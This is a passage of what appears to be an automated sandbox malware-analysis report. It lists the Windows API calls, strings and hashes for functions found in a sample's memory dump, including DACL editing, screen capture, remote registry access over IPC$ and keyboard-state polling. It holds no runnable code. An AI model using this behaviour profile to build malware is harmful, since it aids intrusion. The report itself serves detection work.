Instruction Fuzzy Hash: 38415C71500208EFCB619F64CC4CEAA7BB8EF89721F508069F909D7261DB709944EBA1

Function 00F7C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00F7C8A4
GetFocus.USER32 ref: 00F7C8B4
GetDlgCtrlID.USER32(00000000), ref: 00F7C8BF
_memset.LIBCMT ref: 00F7C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00F7CA15
GetMenuItemCount.USER32(?), ref: 00F7CA35
GetMenuItemID.USER32(?,00000000), ref: 00F7CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00F7CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00F7CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F7CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00F7CB31

Strings

0, xrefs: 00F7C9E2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 9a8317501e2d7029ab382909de3863ee390637de0ba9e5392760f5d9258fa46c
Instruction ID: 25395b3a58f4786c2cf1978209d6d5afb80c8990fce1900828c3e68351caae5d
Opcode Fuzzy Hash: 9a8317501e2d7029ab382909de3863ee390637de0ba9e5392760f5d9258fa46c
Instruction Fuzzy Hash: 86819D716083059FD710DF14C895EABBBE8FF88364F00852EF99997291D730D905EBA2

Function 00F48ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F48E3C
Part of subcall function 00F48E20: GetLastError.KERNEL32(?,00F48900,?,?,?), ref: 00F48E46
Part of subcall function 00F48E20: GetProcessHeap.KERNEL32(00000008,?,?,00F48900,?,?,?), ref: 00F48E55
Part of subcall function 00F48E20: HeapAlloc.KERNEL32(00000000,?,00F48900,?,?,?), ref: 00F48E5C
Part of subcall function 00F48E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F48E73

Part of subcall function 00F48EBD: GetProcessHeap.KERNEL32(00000008,00F48916,00000000,00000000,?,00F48916,?), ref: 00F48EC9
Part of subcall function 00F48EBD: HeapAlloc.KERNEL32(00000000,?,00F48916,?), ref: 00F48ED0
Part of subcall function 00F48EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00F48916,?), ref: 00F48EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00F48B2E
_memset.LIBCMT ref: 00F48B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00F48B62
GetLengthSid.ADVAPI32(?), ref: 00F48B73
GetAce.ADVAPI32(?,00000000,?), ref: 00F48BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00F48BCC
GetLengthSid.ADVAPI32(?), ref: 00F48BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00F48BF8
HeapAlloc.KERNEL32(00000000), ref: 00F48BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00F48C20
CopySid.ADVAPI32(00000000), ref: 00F48C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00F48C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00F48C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00F48C92

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: d0e4713829a24b5db097c955c4f5a4f7f5b9b8395c72b1602a6bf632df1eb4e7
Instruction ID: b7c2d97374490e8663db6c8c536e48f193646c79fa4b13bdaa4fb0f16288ae3f
Opcode Fuzzy Hash: d0e4713829a24b5db097c955c4f5a4f7f5b9b8395c72b1602a6bf632df1eb4e7
Instruction Fuzzy Hash: E6614771D00209EFDF10DFA4DC85EEEBBB9FF04350F048169EA15A6290DB359A06EB60

Function 00F67A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00F67A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00F67A85
CreateCompatibleDC.GDI32(?), ref: 00F67A91
SelectObject.GDI32(00000000,?), ref: 00F67A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00F67AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00F67B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00F67B52
SelectObject.GDI32(00000006,?), ref: 00F67B5A
DeleteObject.GDI32(?), ref: 00F67B63
DeleteDC.GDI32(00000006), ref: 00F67B6A
ReleaseDC.USER32(00000000,?), ref: 00F67B75

Strings

(, xrefs: 00F67AFA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 8ed215eae5fd62cc7d3746811de0626d62c6b6c6d070ee87cdabc04bb5b7eefb
Instruction ID: c66265922589084c4f6f380393a65e8e7301bbfa8f156246b8a72fd369d2d423
Opcode Fuzzy Hash: 8ed215eae5fd62cc7d3746811de0626d62c6b6c6d070ee87cdabc04bb5b7eefb
Instruction Fuzzy Hash: 2B515872904309EFCB14DFA8CC85EAEBBB9EF48310F14851DF94AA7260D735A945DB60

Function 00F5A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00F5A4D4

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00F5A4F6
__swprintf.LIBCMT ref: 00F5A54F
__swprintf.LIBCMT ref: 00F5A568
_wprintf.LIBCMT ref: 00F5A61E
_wprintf.LIBCMT ref: 00F5A63C

Strings

Line %d (File "%s"):, xrefs: 00F5A549, 00F5A562
"%s" (%d) : ==> %s:%s%s, xrefs: 00F5A619
"%s" (%d) : ==> %s:, xrefs: 00F5A637
^ ERROR, xrefs: 00F5A5C0
Error: , xrefs: 00F5A5E6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: e297a06e6a9e5f2d08ace01ef6995506be8f0253ca0a60696bc8e3b7b7ce9970
Instruction ID: c3925fd99bb73337e756de7d2018cfcd0705a4e72a664b1c5a9bfe3174da57a3
Opcode Fuzzy Hash: e297a06e6a9e5f2d08ace01ef6995506be8f0253ca0a60696bc8e3b7b7ce9970
Instruction Fuzzy Hash: E9517E71900119AACF15EBA0CD86EEEB779BF04341F104265F905620A2EB396F58FF61

Function 00F59710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F5951A: __time64.LIBCMT ref: 00F59524

Part of subcall function 00F04A8C: _fseek.LIBCMT ref: 00F04AA4

__wsplitpath.LIBCMT ref: 00F597EF

Part of subcall function 00F1431E: __wsplitpath_helper.LIBCMT ref: 00F1435E

_wcscpy.LIBCMT ref: 00F59802
_wcscat.LIBCMT ref: 00F59815
__wsplitpath.LIBCMT ref: 00F5983A
_wcscat.LIBCMT ref: 00F59850
_wcscat.LIBCMT ref: 00F59863

Part of subcall function 00F59560: _memmove.LIBCMT ref: 00F59599
Part of subcall function 00F59560: _memmove.LIBCMT ref: 00F595A8

_wcscmp.LIBCMT ref: 00F597AA

Part of subcall function 00F59CF1: _wcscmp.LIBCMT ref: 00F59DE1
Part of subcall function 00F59CF1: _wcscmp.LIBCMT ref: 00F59DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00F59A0D
_wcsncpy.LIBCMT ref: 00F59A80
DeleteFileW.KERNEL32(?,?), ref: 00F59AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00F59ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F59ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F59AEF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: f7ade25410f76b8ddf4ba18aeb4fc2dccdab7f3b651db5ed1ec0cd3e784399be
Instruction ID: 6c2378529cafe7c3f573e1e05554064e3c30ad5fd7e5dd906d400687e15c1794
Opcode Fuzzy Hash: f7ade25410f76b8ddf4ba18aeb4fc2dccdab7f3b651db5ed1ec0cd3e784399be
Instruction Fuzzy Hash: FCC15FB1D00219AACF15DF94CC85EDEB7BDEF44310F0040AAFA09E7151EB749A88AF65

Function 00F05BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F05BF1
GetMenuItemCount.USER32(00FB7890), ref: 00F40E7B
GetMenuItemCount.USER32(00FB7890), ref: 00F40F2B
GetCursorPos.USER32(?), ref: 00F40F6F
SetForegroundWindow.USER32(00000000), ref: 00F40F78
TrackPopupMenuEx.USER32(00FB7890,00000000,?,00000000,00000000,00000000), ref: 00F40F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00F40F97

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: d42d84848e649fc6af6d9d283827dd74e5c14aebc8abd5d67df8bcfbe35f346d
Instruction ID: efcc5b9697992a1c2ef65f2b03786633c89988d96ebb0f30f17410c2ea4cc2da
Opcode Fuzzy Hash: d42d84848e649fc6af6d9d283827dd74e5c14aebc8abd5d67df8bcfbe35f346d
Instruction Fuzzy Hash: D971F231A04609BEFB209B64DC85FAABF64FF05724F144216FA146A2D1CBB16864FF90

Function 00F483FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

_memset.LIBCMT ref: 00F48489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00F484BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00F484DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00F484F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00F48520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00F48548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F48553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F48558

Strings

\IPC$, xrefs: 00F484A0
\CLSID, xrefs: 00F48440
SOFTWARE\Classes\, xrefs: 00F4842A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 7ad20d60277f54eb4bf70e0bb924cb1cd838c9b47f13c5869e3e73d158b98b62
Instruction ID: 2266b77c259830a4c16ff6994355efb5cc8da7a84a7fb070a01d3f445266e2ec
Opcode Fuzzy Hash: 7ad20d60277f54eb4bf70e0bb924cb1cd838c9b47f13c5869e3e73d158b98b62
Instruction Fuzzy Hash: 9541F876C1022DABDF12EBA4DC95DEDBBB8FF04350F444129F815A21A1EB359E05EB90

Function 00F7147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F7040D,?,?), ref: 00F71491

Strings

HKCR, xrefs: 00F71539
HKEY_LOCAL_MACHINE, xrefs: 00F714FA
HKLM, xrefs: 00F7150F
HKU, xrefs: 00F715A3
HKEY_CURRENT_CONFIG, xrefs: 00F7154E
HKEY_CLASSES_ROOT, xrefs: 00F71524
HKCC, xrefs: 00F7155F
HKEY_CURRENT_USER, xrefs: 00F71570
HKEY_USERS, xrefs: 00F71592
HKCU, xrefs: 00F71581

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 0a3b41fc266a1eb0cd52df8a339277dc0c3395c5db8bb432a895faf1a3526e53
Instruction ID: 29931d4e1a6eddb0f2094aea4974f0af20d1062efec99654d0a854c6039bfa5b
Opcode Fuzzy Hash: 0a3b41fc266a1eb0cd52df8a339277dc0c3395c5db8bb432a895faf1a3526e53
Instruction Fuzzy Hash: 2741597150021A8BCF04EF54ED41AEA3324BF52310F548416EC965B292DF74ED59FB92

Function 00F55882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Part of subcall function 00F0153B: _memmove.LIBCMT ref: 00F015C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00F558EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00F55901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F55912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00F55924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00F55935

Strings

close PlayMe, xrefs: 00F558FC, 00F55929
alias PlayMe, xrefs: 00F558C4
open , xrefs: 00F5589A
play PlayMe, xrefs: 00F55930
status PlayMe mode, xrefs: 00F558E6
play PlayMe wait, xrefs: 00F5591F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: e4a6c48e42bb394fa03151b2f0598c2fc79963912c00a02a8c373d3891c5bccd
Instruction ID: 1fd7882925ca4635b084ec1569dab51dc327970f6b4d0a0ab015007bef8a16c3
Opcode Fuzzy Hash: e4a6c48e42bb394fa03151b2f0598c2fc79963912c00a02a8c373d3891c5bccd
Instruction Fuzzy Hash: 5C118271950229B9DB20A7A1DC5ADFF7B7CFB92F51F400429B801A20D2DEA49908E5A1

Function 00F54C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00F54C27
gethostname.WSOCK32(?,00000100), ref: 00F54C41
gethostbyname.WSOCK32(?), ref: 00F54C4E
_wcscpy.LIBCMT ref: 00F54C76
_memmove.LIBCMT ref: 00F54C89
inet_ntoa.WSOCK32(?), ref: 00F54C94
_strcat.LIBCMT ref: 00F54CA2
_wcscpy.LIBCMT ref: 00F54CB9
WSACleanup.WSOCK32 ref: 00F54CC7
_wcscpy.LIBCMT ref: 00F54CD5

Strings

0.0.0.0, xrefs: 00F54C70

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: a9f99feacc026ca5477f50851ca969e622385d06a21070692349a9b88475977e
Instruction ID: 9963faa6ea9574909da14bb9472da6b903c3851ad6e3c059866809d812868e78
Opcode Fuzzy Hash: a9f99feacc026ca5477f50851ca969e622385d06a21070692349a9b88475977e
Instruction Fuzzy Hash: 04113A32904108ABCB51A7609C4EEEE77BCDF81721F0401A5F50492091EF74A9C9FB50

Function 00F55530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F55535

Part of subcall function 00F1083E: timeGetTime.WINMM(?,00000002,00EFC22C), ref: 00F10842

Sleep.KERNEL32(0000000A), ref: 00F55561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00F55585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00F555A7
SetActiveWindow.USER32 ref: 00F555C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00F555D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00F555F3
Sleep.KERNEL32(000000FA), ref: 00F555FE
IsWindow.USER32 ref: 00F5560A
EndDialog.USER32(00000000), ref: 00F5561B

Strings

BUTTON, xrefs: 00F55599

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: cd843e56dd481407013fe5f346ea5567a8a4f058502f1dd3209cc671a2536c92
Instruction ID: 543cb55f09b1c2a8b836419898051c744bd44fc2463658bda35a2e4551477bef
Opcode Fuzzy Hash: cd843e56dd481407013fe5f346ea5567a8a4f058502f1dd3209cc671a2536c92
Instruction Fuzzy Hash: EC21D47020460CAFE7906B60ECD9B793B6EEB847A6F481114FA01811A1DF719C58FF72

Function 00F5DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

CoInitialize.OLE32(00000000), ref: 00F5DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00F5DCC0
SHGetDesktopFolder.SHELL32(?), ref: 00F5DCD4
CoCreateInstance.OLE32(00F83D4C,00000000,00000001,00FAB86C,?), ref: 00F5DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00F5DD8F
CoTaskMemFree.OLE32(?,?), ref: 00F5DDE7
_memset.LIBCMT ref: 00F5DE24
SHBrowseForFolderW.SHELL32(?), ref: 00F5DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00F5DE83
CoTaskMemFree.OLE32(00000000), ref: 00F5DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00F5DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00F5DEC3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 5171cf632b6ab084d315aeff34cc9a08d1bb7109e23197ad7b96dc3209c4b08e
Instruction ID: ca3d2a3714144325015ac17c1c9419042b3c85bcc6212fda7b1e7a7a9948866a
Opcode Fuzzy Hash: 5171cf632b6ab084d315aeff34cc9a08d1bb7109e23197ad7b96dc3209c4b08e
Instruction Fuzzy Hash: E1B10975A00109AFDB14DFA4CC89DAEBBF9FF48315B108469E909EB261DB30EE45DB50

Function 00F5081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00F50896
SetKeyboardState.USER32(?), ref: 00F50901
GetAsyncKeyState.USER32(000000A0), ref: 00F50921
GetKeyState.USER32(000000A0), ref: 00F50938
GetAsyncKeyState.USER32(000000A1), ref: 00F50967
GetKeyState.USER32(000000A1), ref: 00F50978
GetAsyncKeyState.USER32(00000011), ref: 00F509A4
GetKeyState.USER32(00000011), ref: 00F509B2
GetAsyncKeyState.USER32(00000012), ref: 00F509DB
GetKeyState.USER32(00000012), ref: 00F509E9
GetAsyncKeyState.USER32(0000005B), ref: 00F50A12
GetKeyState.USER32(0000005B), ref: 00F50A20

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
